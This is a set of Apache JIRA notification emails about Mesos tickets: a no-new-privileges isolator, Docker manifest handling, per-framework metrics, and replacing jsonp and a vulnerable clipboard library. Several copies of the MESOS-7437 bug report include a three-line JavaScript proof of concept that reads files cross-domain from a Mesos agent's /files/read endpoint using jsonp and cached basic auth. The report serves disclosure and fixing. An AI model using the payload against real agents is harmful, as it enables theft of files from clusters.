[jira] [Commented] (MESOS-9770) Add no-new-privileges isolator.
[ https://issues.apache.org/jira/browse/MESOS-9770?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16851203#comment-16851203 ] Jacob Janco commented on MESOS-9770: [https://reviews.apache.org/r/70757/] > Add no-new-privileges isolator. > --- > > Key: MESOS-9770 > URL: https://issues.apache.org/jira/browse/MESOS-9770 > Project: Mesos > Issue Type: Improvement > Components: containerization >Reporter: James Peach >Assignee: Jacob Janco >Priority: Major > > To give security-minded operators more defense in depth, add a {{linux/nnp}} > isolator that sets the no-new-privileges bit before starting the executor. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Assigned] (MESOS-9770) Add no-new-privileges isolator.
[ https://issues.apache.org/jira/browse/MESOS-9770?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco reassigned MESOS-9770: -- Assignee: Jacob Janco > Add no-new-privileges isolator. > --- > > Key: MESOS-9770 > URL: https://issues.apache.org/jira/browse/MESOS-9770 > Project: Mesos > Issue Type: Improvement > Components: containerization >Reporter: James Peach >Assignee: Jacob Janco >Priority: Major > > To give security-minded operators more defense in depth, add a {{linux/nnp}} > isolator that sets the no-new-privileges bit before starting the executor. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Commented] (MESOS-9760) Decouple Docker runtime isolator manifest configuration from image provider
[ https://issues.apache.org/jira/browse/MESOS-9760?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16831311#comment-16831311 ] Jacob Janco commented on MESOS-9760: https://reviews.apache.org/r/70581/ > Decouple Docker runtime isolator manifest configuration from image provider > --- > > Key: MESOS-9760 > URL: https://issues.apache.org/jira/browse/MESOS-9760 > Project: Mesos > Issue Type: Improvement > Components: agent, docker >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Minor > > The Docker runtime isolator propagates manifest configuration metadata. This > is not always desirable, e.g. a customer may want to ignore the defined > WORKDIR/ENV defined in the manifest. > We propose adding a flag `–docker_ignore_manifest_config` to decouple the > choice of Docker as an image provider and the need for the Docker runtime > isolator. In the background, this flag will conditionally ignore the work of > the Docker runtime isolator. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Created] (MESOS-9760) Decouple Docker runtime isolator manifest configuration from image provider
Jacob Janco created MESOS-9760: -- Summary: Decouple Docker runtime isolator manifest configuration from image provider Key: MESOS-9760 URL: https://issues.apache.org/jira/browse/MESOS-9760 Project: Mesos Issue Type: Improvement Components: agent, docker Reporter: Jacob Janco Assignee: Jacob Janco The Docker runtime isolator propagates manifest configuration metadata. This is not always desirable, e.g. a customer may want to ignore the defined WORKDIR/ENV defined in the manifest. We propose adding a flag `–docker_ignore_manifest_config` to decouple the choice of Docker as an image provider and the need for the Docker runtime isolator. In the background, this flag will conditionally ignore the work of the Docker runtime isolator. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Commented] (MESOS-9301) Add flag for per-framework metrics
[ https://issues.apache.org/jira/browse/MESOS-9301?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16642512#comment-16642512 ] Jacob Janco commented on MESOS-9301: Add documentation for per-framework metrics flag. Review: [https://reviews.apache.org/r/68957] Add flag to toggle per framework metrics. In clusters with high numbers of frameworks, it is necessary to control the registration of per framework metrics. Review: [https://reviews.apache.org/r/68956] Add per framework metrics in member function. This is a preliminary step for control registering per framework metrics. Review: [https://reviews.apache.org/r/68955] Fix tests related to allocator options refactor. Review: [https://reviews.apache.org/r/68954] Refactor allocator configuration into class. Review: [https://reviews.apache.org/r/68953] > Add flag for per-framework metrics > -- > > Key: MESOS-9301 > URL: https://issues.apache.org/jira/browse/MESOS-9301 > Project: Mesos > Issue Type: Improvement > Components: metrics >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Major > > Clusters with high amounts of frameworks lead to very high numbers of > metrics. Add a flag to toggle per-framework metrics and refactor > configuration passed into the allocator. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Issue Comment Deleted] (MESOS-9301) Add flag for per-framework metrics
[ https://issues.apache.org/jira/browse/MESOS-9301?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco updated MESOS-9301: --- Comment: was deleted (was: +++---+ | Status | Review Request |Branch | +++===+ | Draft | r/68957 - | HEAD | +++---+ | Draft | r/68956 - | HEAD | +++---+ | Draft | r/68955 - | HEAD | +++---+ | Draft | r/68954 - | HEAD | +++---+ | Draft | r/68953 - | for-review/final-remove-per-framework-metrics | +++---+) > Add flag for per-framework metrics > -- > > Key: MESOS-9301 > URL: https://issues.apache.org/jira/browse/MESOS-9301 > Project: Mesos > Issue Type: Improvement > Components: metrics >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Major > > Clusters with high amounts of frameworks lead to very high numbers of > metrics. Add a flag to toggle per-framework metrics and refactor > configuration passed into the allocator. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Commented] (MESOS-9301) Add flag for per-framework metrics
[ https://issues.apache.org/jira/browse/MESOS-9301?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16642502#comment-16642502 ] Jacob Janco commented on MESOS-9301: +++---+ | Status | Review Request |Branch | +++===+ | Draft | r/68957 - | HEAD | +++---+ | Draft | r/68956 - | HEAD | +++---+ | Draft | r/68955 - | HEAD | +++---+ | Draft | r/68954 - | HEAD | +++---+ | Draft | r/68953 - | for-review/final-remove-per-framework-metrics | +++---+ > Add flag for per-framework metrics > -- > > Key: MESOS-9301 > URL: https://issues.apache.org/jira/browse/MESOS-9301 > Project: Mesos > Issue Type: Improvement > Components: metrics >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Major > > Clusters with high amounts of frameworks lead to very high numbers of > metrics. Add a flag to toggle per-framework metrics and refactor > configuration passed into the allocator. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Commented] (MESOS-9301) Add flag for per-framework metrics
[ https://issues.apache.org/jira/browse/MESOS-9301?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16642500#comment-16642500 ] Jacob Janco commented on MESOS-9301: | [+++---+|https://reviews.apache.org/+++---+] | | | [|Status|ReviewRequest|Branch||https://reviews.apache.org/|Status|ReviewRequest|Branch|] | | | [+++===+|https://reviews.apache.org/+++===+] | | | [|Draft|r/68957|https://reviews.apache.org/|Draft|r/68957] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68956|https://reviews.apache.org/|Draft|r/68956] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68955|https://reviews.apache.org/|Draft|r/68955] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68954|https://reviews.apache.org/|Draft|r/68954] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68953|https://reviews.apache.org/|Draft|r/68953] | | for-review/final-remove-per-framework-metrics | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|https://reviews.apache.org/] | | > Add flag for per-framework metrics > -- > > Key: MESOS-9301 > URL: https://issues.apache.org/jira/browse/MESOS-9301 > Project: Mesos > Issue Type: Improvement > Components: metrics >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Major > > Clusters with high amounts of frameworks lead to very high numbers of > metrics. Add a flag to toggle per-framework metrics and refactor > configuration passed into the allocator. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Issue Comment Deleted] (MESOS-9301) Add flag for per-framework metrics
[ https://issues.apache.org/jira/browse/MESOS-9301?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco updated MESOS-9301: --- Comment: was deleted (was: | [+++---+|https://reviews.apache.org/+++---+] | | | [|Status|ReviewRequest|Branch||https://reviews.apache.org/|Status|ReviewRequest|Branch|] | | | [+++===+|https://reviews.apache.org/+++===+] | | | [|Draft|r/68957|https://reviews.apache.org/|Draft|r/68957] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68956|https://reviews.apache.org/|Draft|r/68956] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68955|https://reviews.apache.org/|Draft|r/68955] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68954|https://reviews.apache.org/|Draft|r/68954] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68953|https://reviews.apache.org/|Draft|r/68953] | | for-review/final-remove-per-framework-metrics | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|https://reviews.apache.org/] | | ) > Add flag for per-framework metrics > -- > > Key: MESOS-9301 > URL: https://issues.apache.org/jira/browse/MESOS-9301 > Project: Mesos > Issue Type: Improvement > Components: metrics >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Major > > Clusters with high amounts of frameworks lead to very high numbers of > metrics. Add a flag to toggle per-framework metrics and refactor > configuration passed into the allocator. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Comment Edited] (MESOS-9301) Add flag for per-framework metrics
[ https://issues.apache.org/jira/browse/MESOS-9301?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16642498#comment-16642498 ] Jacob Janco edited comment on MESOS-9301 at 10/8/18 9:16 PM: - | [+++---+|https://reviews.apache.org/+++---+] | | | [|Status|ReviewRequest|Branch||https://reviews.apache.org/|Status|ReviewRequest|Branch|] | | | [+++===+|https://reviews.apache.org/+++===+] | | | [|Draft|r/68957|https://reviews.apache.org/|Draft|r/68957] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68956|https://reviews.apache.org/|Draft|r/68956] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68955|https://reviews.apache.org/|Draft|r/68955] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68954|https://reviews.apache.org/|Draft|r/68954] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68953|https://reviews.apache.org/|Draft|r/68953] | | for-review/final-remove-per-framework-metrics | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|https://reviews.apache.org/] | | was (Author: jjanco): | [+++---+|https://reviews.apache.org/+++---+] | | | [|Status|ReviewRequest|Branch||https://reviews.apache.org/|Status|ReviewRequest|Branch|] | | | [+++===+|https://reviews.apache.org/+++===+] | | | [|Draft|r/68957|https://reviews.apache.org/|Draft|r/68957] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68956|https://reviews.apache.org/|Draft|r/68956] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68955|https://reviews.apache.org/|Draft|r/68955] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68954|https://reviews.apache.org/|Draft|r/68954] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68953|https://reviews.apache.org/|Draft|r/68953] | | for-review/final-remove-per-framework-metrics | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|https://reviews.apache.org/] | | > Add flag for per-framework metrics > -- > > Key: MESOS-9301 > URL: https://issues.apache.org/jira/browse/MESOS-9301 > Project: Mesos > Issue Type: Improvement > Components: metrics >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Major > > Clusters with high amounts of frameworks lead to very high numbers of > metrics. Add a flag to toggle per-framework metrics and refactor > configuration passed into the allocator. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Issue Comment Deleted] (MESOS-9301) Add flag for per-framework metrics
[ https://issues.apache.org/jira/browse/MESOS-9301?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco updated MESOS-9301: --- Comment: was deleted (was: | [+++---+|https://reviews.apache.org/+++---+] | | | [|Status|ReviewRequest|Branch||https://reviews.apache.org/|Status|ReviewRequest|Branch|] | | | [+++===+|https://reviews.apache.org/+++===+] | | | [|Draft|r/68957|https://reviews.apache.org/|Draft|r/68957] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68956|https://reviews.apache.org/|Draft|r/68956] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68955|https://reviews.apache.org/|Draft|r/68955] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68954|https://reviews.apache.org/|Draft|r/68954] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68953|https://reviews.apache.org/|Draft|r/68953] | | for-review/final-remove-per-framework-metrics | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|https://reviews.apache.org/] | |) > Add flag for per-framework metrics > -- > > Key: MESOS-9301 > URL: https://issues.apache.org/jira/browse/MESOS-9301 > Project: Mesos > Issue Type: Improvement > Components: metrics >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Major > > Clusters with high amounts of frameworks lead to very high numbers of > metrics. Add a flag to toggle per-framework metrics and refactor > configuration passed into the allocator. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Commented] (MESOS-9301) Add flag for per-framework metrics
[ https://issues.apache.org/jira/browse/MESOS-9301?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=16642498#comment-16642498 ] Jacob Janco commented on MESOS-9301: | [+++---+|https://reviews.apache.org/+++---+] | | | [|Status|ReviewRequest|Branch||https://reviews.apache.org/|Status|ReviewRequest|Branch|] | | | [+++===+|https://reviews.apache.org/+++===+] | | | [|Draft|r/68957|https://reviews.apache.org/|Draft|r/68957] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68956|https://reviews.apache.org/|Draft|r/68956] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68955|https://reviews.apache.org/|Draft|r/68955] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68954|https://reviews.apache.org/|Draft|r/68954] | | HEAD | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|Draft|r/68953|https://reviews.apache.org/|Draft|r/68953] | | for-review/final-remove-per-framework-metrics | | | [+++---+|https://reviews.apache.org/+++---+] | | | [|https://reviews.apache.org/] | | > Add flag for per-framework metrics > -- > > Key: MESOS-9301 > URL: https://issues.apache.org/jira/browse/MESOS-9301 > Project: Mesos > Issue Type: Improvement > Components: metrics >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Major > > Clusters with high amounts of frameworks lead to very high numbers of > metrics. Add a flag to toggle per-framework metrics and refactor > configuration passed into the allocator. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Created] (MESOS-9301) Add flag for per-framework metrics
Jacob Janco created MESOS-9301: -- Summary: Add flag for per-framework metrics Key: MESOS-9301 URL: https://issues.apache.org/jira/browse/MESOS-9301 Project: Mesos Issue Type: Improvement Components: metrics Reporter: Jacob Janco Assignee: Jacob Janco Clusters with high amounts of frameworks lead to very high numbers of metrics. Add a flag to toggle per-framework metrics and refactor configuration passed into the allocator. -- This message was sent by Atlassian JIRA (v7.6.3#76005)
[jira] [Updated] (MESOS-7437) cross domain file-theft in the web-ui
[ https://issues.apache.org/jira/browse/MESOS-7437?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco updated MESOS-7437: --- Priority: Major (was: Minor) > cross domain file-theft in the web-ui > - > > Key: MESOS-7437 > URL: https://issues.apache.org/jira/browse/MESOS-7437 > Project: Mesos > Issue Type: Bug > Components: security, webui >Reporter: Jacob Janco >Assignee: Jacob Janco > > {code:javascript} > x=document.createElement('script') > x.src='http://$AGENT_URI/files/read?path=$PATH_TO_FILE&offset=0&length=5&jsonp=console.log&_=1490306716903' > document.body.appendChild(x) > {code} > The above code pasted into the web console on http://example.com/, for > example, will yield the contents of the requested file. Basic auth is cached > and resent in browser tabs/windows as long as the user has authenticated > during the browser session. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Updated] (MESOS-7437) cross domain file-theft in the web-ui
[ https://issues.apache.org/jira/browse/MESOS-7437?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco updated MESOS-7437: --- Component/s: webui security > cross domain file-theft in the web-ui > - > > Key: MESOS-7437 > URL: https://issues.apache.org/jira/browse/MESOS-7437 > Project: Mesos > Issue Type: Bug > Components: security, webui >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Minor > > {code:javascript} > x=document.createElement('script') > x.src='http://$AGENT_URI/files/read?path=$PATH_TO_FILE&offset=0&length=5&jsonp=console.log&_=1490306716903' > document.body.appendChild(x) > {code} > The above code pasted into the web console on http://example.com/, for > example, will yield the contents of the requested file. Basic auth is cached > and resent in browser tabs/windows as long as the user has authenticated > during the browser session. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Updated] (MESOS-7437) cross domain file-theft in the web-ui
[ https://issues.apache.org/jira/browse/MESOS-7437?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco updated MESOS-7437: --- Description: {code:javascript} x=document.createElement('script') x.src='http://$AGENT_URI/files/read?path=$PATH_TO_FILE&offset=0&length=5&jsonp=console.log&_=1490306716903' document.body.appendChild(x) {code} The above code pasted into the web console on http://example.com/, for example, will yield the contents of the requested file. Basic auth is cached and resent in browser tabs/windows as long as the user has authenticated during the browser session. was: `x=document.createElement('script') x.src='http://$AGENT_URI/files/read?path=$PATH_TO_FILE&offset=0&length=5&jsonp=console.log&_=1490306716903' document.body.appendChild(x)` The above code pasted into the web console on http://example.com/, for example, will yield the contents of the requested file. Basic auth is cached and resent in browser tabs/windows as long as the user has authenticated during the browser session. > cross domain file-theft in the web-ui > - > > Key: MESOS-7437 > URL: https://issues.apache.org/jira/browse/MESOS-7437 > Project: Mesos > Issue Type: Bug >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Minor > > {code:javascript} > x=document.createElement('script') > x.src='http://$AGENT_URI/files/read?path=$PATH_TO_FILE&offset=0&length=5&jsonp=console.log&_=1490306716903' > document.body.appendChild(x) > {code} > The above code pasted into the web console on http://example.com/, for > example, will yield the contents of the requested file. Basic auth is cached > and resent in browser tabs/windows as long as the user has authenticated > during the browser session. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Updated] (MESOS-7437) cross domain file-theft in the web-ui
[ https://issues.apache.org/jira/browse/MESOS-7437?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco updated MESOS-7437: --- Description: `x=document.createElement('script') x.src='http://$AGENT_URI/files/read?path=$PATH_TO_FILE&offset=0&length=5&jsonp=console.log&_=1490306716903' document.body.appendChild(x)` The above code pasted into the web console on http://example.com/, for example, will yield the contents of the requested file. Basic auth is cached and resent in browser tabs/windows as long as the user has authenticated during the browser session. was: ``` x=document.createElement('script') x.src='http://$AGENT_URI/files/read?path=$PATH_TO_FILE&offset=0&length=5&jsonp=console.log&_=1490306716903' document.body.appendChild(x) ``` The above code pasted into the web console on http://example.com/, for example, will yield the contents of the requested file. Basic auth is cached and resent in browser tabs/windows as long as the user has authenticated during the browser session. > cross domain file-theft in the web-ui > - > > Key: MESOS-7437 > URL: https://issues.apache.org/jira/browse/MESOS-7437 > Project: Mesos > Issue Type: Bug >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Minor > > `x=document.createElement('script') > x.src='http://$AGENT_URI/files/read?path=$PATH_TO_FILE&offset=0&length=5&jsonp=console.log&_=1490306716903' > document.body.appendChild(x)` > The above code pasted into the web console on http://example.com/, for > example, will yield the contents of the requested file. Basic auth is cached > and resent in browser tabs/windows as long as the user has authenticated > during the browser session. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Updated] (MESOS-7437) cross domain file-theft in the web-ui
[ https://issues.apache.org/jira/browse/MESOS-7437?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco updated MESOS-7437: --- Description: ``` x=document.createElement('script') x.src='http://$AGENT_URI/files/read?path=$PATH_TO_FILE&offset=0&length=5&jsonp=console.log&_=1490306716903' document.body.appendChild(x) ``` The above code pasted into the web console on http://example.com/, for example, will yield the contents of the requested file. Basic auth is cached and resent in browser tabs/windows as long as the user has authenticated during the browser session. was: x=document.createElement('script') x.src='http://$AGENT_URI/files/read?path=$PATH_TO_FILE&offset=0&length=5&jsonp=console.log&_=1490306716903' document.body.appendChild(x) The above code pasted into the web console on http://example.com/, for example, will yield the contents of the requested file. Basic auth is cached and resent in browser tabs/windows as long as the user has authenticated during the browser session. > cross domain file-theft in the web-ui > - > > Key: MESOS-7437 > URL: https://issues.apache.org/jira/browse/MESOS-7437 > Project: Mesos > Issue Type: Bug >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Minor > > ``` > x=document.createElement('script') > x.src='http://$AGENT_URI/files/read?path=$PATH_TO_FILE&offset=0&length=5&jsonp=console.log&_=1490306716903' > document.body.appendChild(x) > ``` > The above code pasted into the web console on http://example.com/, for > example, will yield the contents of the requested file. Basic auth is cached > and resent in browser tabs/windows as long as the user has authenticated > during the browser session. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Created] (MESOS-7437) cross domain file-theft in the web-ui
Jacob Janco created MESOS-7437: -- Summary: cross domain file-theft in the web-ui Key: MESOS-7437 URL: https://issues.apache.org/jira/browse/MESOS-7437 Project: Mesos Issue Type: Bug Reporter: Jacob Janco Assignee: Jacob Janco Priority: Minor x=document.createElement('script') x.src='http://$AGENT_URI/files/read?path=$PATH_TO_FILE&offset=0&length=5&jsonp=console.log&_=1490306716903' document.body.appendChild(x) The above code pasted into the web console on http://example.com/, for example, will yield the contents of the requested file. Basic auth is cached and resent in browser tabs/windows as long as the user has authenticated during the browser session. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Comment Edited] (MESOS-5918) Replace jsonp with a more secure alternative
[ https://issues.apache.org/jira/browse/MESOS-5918?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15983568#comment-15983568 ] Jacob Janco edited comment on MESOS-5918 at 4/27/17 8:35 PM: - [~greggomann] [~anandmazumdar] [~mlunoe] [~xujyan] [~haosdent] Reopening a bit of discussion on replacing the jsonp workaround with CORS handling server side. An initial idea is to have a configurable regex for domains available for cross origin requests which will match against sent Origin headers. At this point I don't think we'll have to support preflighting requests to add this functionality. Another consideration, should this be a libprocess level configuration or perhaps a flag set on masters and agents? was (Author: jjanco): [~greggomann] [~anandmazumdar] [~mlunoe] [~xujyan] Reopening a bit of discussion on replacing the jsonp workaround with CORS handling server side. An initial idea is to have a configurable regex for domains available for cross origin requests which will match against sent Origin headers. At this point I don't think we'll have to support preflighting requests to add this functionality. Another consideration, should this be a libprocess level configuration or perhaps a flag set on masters and agents? > Replace jsonp with a more secure alternative > > > Key: MESOS-5918 > URL: https://issues.apache.org/jira/browse/MESOS-5918 > Project: Mesos > Issue Type: Improvement > Components: webui >Reporter: Yan Xu > > We currently use the {{jsonp}} technique to bypass CORS check. This practice > has many security concerns (see discussions on MESOS-5911) so we should > replace it with a better alternative. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Comment Edited] (MESOS-5918) Replace jsonp with a more secure alternative
[ https://issues.apache.org/jira/browse/MESOS-5918?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15983568#comment-15983568 ] Jacob Janco edited comment on MESOS-5918 at 4/25/17 8:40 PM: - [~greggomann] [~anandmazumdar][~mlunoe][~xujyan] Reopening a bit of discussion on replacing the jsonp workaround with CORS handling server side. An initial idea is to have a configurable regex for domains available for cross origin requests which will match against sent Origin headers. At this point I don't think we'll have to support preflighting requests to add this functionality. Another consideration, should this be a libprocess level configuration or perhaps a flag set on masters and agents? was (Author: jjanco): [~greggomann] [~anandmazumdar][~mlunoe] Reopening a bit of discussion on replacing the jsonp workaround with CORS handling server side. An initial idea is to have a configurable regex for domains available for cross origin requests which will match against sent Origin headers. At this point I don't think we'll have to support preflighting requests to add this functionality. Another consideration, should this be a libprocess level configuration or perhaps a flag set on masters and agents? > Replace jsonp with a more secure alternative > > > Key: MESOS-5918 > URL: https://issues.apache.org/jira/browse/MESOS-5918 > Project: Mesos > Issue Type: Improvement > Components: webui >Reporter: Yan Xu > > We currently use the {{jsonp}} technique to bypass CORS check. This practice > has many security concerns (see discussions on MESOS-5911) so we should > replace it with a better alternative. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Comment Edited] (MESOS-5918) Replace jsonp with a more secure alternative
[ https://issues.apache.org/jira/browse/MESOS-5918?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15983568#comment-15983568 ] Jacob Janco edited comment on MESOS-5918 at 4/25/17 8:40 PM: - [~greggomann] [~anandmazumdar] [~mlunoe] [~xujyan] Reopening a bit of discussion on replacing the jsonp workaround with CORS handling server side. An initial idea is to have a configurable regex for domains available for cross origin requests which will match against sent Origin headers. At this point I don't think we'll have to support preflighting requests to add this functionality. Another consideration, should this be a libprocess level configuration or perhaps a flag set on masters and agents? was (Author: jjanco): [~greggomann] [~anandmazumdar][~mlunoe][~xujyan] Reopening a bit of discussion on replacing the jsonp workaround with CORS handling server side. An initial idea is to have a configurable regex for domains available for cross origin requests which will match against sent Origin headers. At this point I don't think we'll have to support preflighting requests to add this functionality. Another consideration, should this be a libprocess level configuration or perhaps a flag set on masters and agents? > Replace jsonp with a more secure alternative > > > Key: MESOS-5918 > URL: https://issues.apache.org/jira/browse/MESOS-5918 > Project: Mesos > Issue Type: Improvement > Components: webui >Reporter: Yan Xu > > We currently use the {{jsonp}} technique to bypass CORS check. This practice > has many security concerns (see discussions on MESOS-5911) so we should > replace it with a better alternative. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Commented] (MESOS-5918) Replace jsonp with a more secure alternative
[ https://issues.apache.org/jira/browse/MESOS-5918?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15983568#comment-15983568 ] Jacob Janco commented on MESOS-5918: [~greggomann] [~anandmazumdar][~mlunoe] Reopening a bit of discussion on replacing the jsonp workaround with CORS handling server side. An initial idea is to have a configurable regex for domains available for cross origin requests which will match against sent Origin headers. At this point I don't think we'll have to support preflighting requests to add this functionality. Another consideration, should this be a libprocess level configuration or perhaps a flag set on masters and agents? > Replace jsonp with a more secure alternative > > > Key: MESOS-5918 > URL: https://issues.apache.org/jira/browse/MESOS-5918 > Project: Mesos > Issue Type: Improvement > Components: webui >Reporter: Yan Xu > > We currently use the {{jsonp}} technique to bypass CORS check. This practice > has many security concerns (see discussions on MESOS-5911) so we should > replace it with a better alternative. -- This message was sent by Atlassian JIRA (v6.3.15#6346)
[jira] [Updated] (MESOS-6969) Use clipboard.js for copy/paste webui functionality
[ https://issues.apache.org/jira/browse/MESOS-6969?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ] Jacob Janco updated MESOS-6969: --- Shepherd: haosdent > Use clipboard.js for copy/paste webui functionality > --- > > Key: MESOS-6969 > URL: https://issues.apache.org/jira/browse/MESOS-6969 > Project: Mesos > Issue Type: Bug > Components: webui >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Minor > Labels: webui > > XSS Vulnerabilities exist for zeroclipboard: > https://www.cvedetails.com/cve/CVE-2014-1869/ > This patch listed below replaces this library with the pure js library > clipboard.js: https://clipboardjs.com/ which also removes the webui flash > dependency to support clipboard functions. -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Commented] (MESOS-6969) Use clipboard.js for copy/paste webui functionality
[ https://issues.apache.org/jira/browse/MESOS-6969?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=15832558#comment-15832558 ] Jacob Janco commented on MESOS-6969: https://reviews.apache.org/r/55791/ > Use clipboard.js for copy/paste webui functionality > --- > > Key: MESOS-6969 > URL: https://issues.apache.org/jira/browse/MESOS-6969 > Project: Mesos > Issue Type: Bug > Components: webui >Reporter: Jacob Janco >Assignee: Jacob Janco >Priority: Minor > Labels: webui > > XSS Vulnerabilities exist for zeroclipboard: > https://www.cvedetails.com/cve/CVE-2014-1869/ > This patch listed below replaces this library with the pure js library > clipboard.js: https://clipboardjs.com/ which also removes the webui flash > dependency to support clipboard functions. -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Created] (MESOS-6969) Use clipboard.js for copy/paste webui functionality
Jacob Janco created MESOS-6969: -- Summary: Use clipboard.js for copy/paste webui functionality Key: MESOS-6969 URL: https://issues.apache.org/jira/browse/MESOS-6969 Project: Mesos Issue Type: Bug Components: webui Reporter: Jacob Janco Assignee: Jacob Janco Priority: Minor XSS Vulnerabilities exist for zerclipboard: https://www.cvedetails.com/cve/CVE-2014-1869/ This patch listed below replaces this library with the pure js library clipboard.js: https://clipboardjs.com/ which also removes the webui flash dependency to support clipboard functions. -- This message was sent by Atlassian JIRA (v6.3.4#6332)
[jira] [Updated] (MESOS-6969) Use clipboard.js for copy/paste webui functionality
